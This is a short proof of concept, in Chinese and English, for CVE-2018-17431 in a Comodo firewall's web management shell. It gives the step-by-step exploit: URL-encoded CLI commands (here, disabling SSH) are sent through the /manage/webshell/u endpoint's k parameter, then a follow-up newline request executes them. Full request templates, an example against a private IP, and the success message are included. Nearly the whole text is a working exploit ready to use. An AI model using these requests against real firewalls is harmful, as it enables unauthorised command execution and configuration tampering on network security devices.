CVE-2018-17431 概念验证
利用步骤:
WebShell 模拟:
For example disable SSH in web shell is like this:
- service [hit enter]
- ssh [hit enter]
- disable [hit enter]
编码
make above sequense encode with URL ECODING
(I used burp encoder plugin)
%73%65%72%76%69%63%65%0a%73%73%68%0a%64%69%73%61%62%6c%65%0a
执行
Base URL: https://[Comodo_Firewall_IP]:[WebPort]/manage/webshell/u?s=[Integer]&w=100&h=24&k=[Encoded_Command]&l=[Integer]&_=1534440840152
https://[Comodo_Firewall_IP]:[WebPort]/manage/webshell/u?s=[Integer]&w=100&h=24&k=%0a&l=[Integer]&_=1534440840152 (extra enter key for run the command)
Example: https://192.168.250.10:10443/manage/webshell/u?s=4&w=100&h=24&k=%73%65%72%76%69%63%65%0a%73%73%68%0a%64%69%73%61%62%6c%65%0a&l=21&_=1534440840152
https://192.168.250.10:10443/manage/webshell/u?s=4&w=100&h=24&k=%0a&l=21&_=1534440840152
页面将显示 "Configuration has been altered" 消息,并且配置已更改!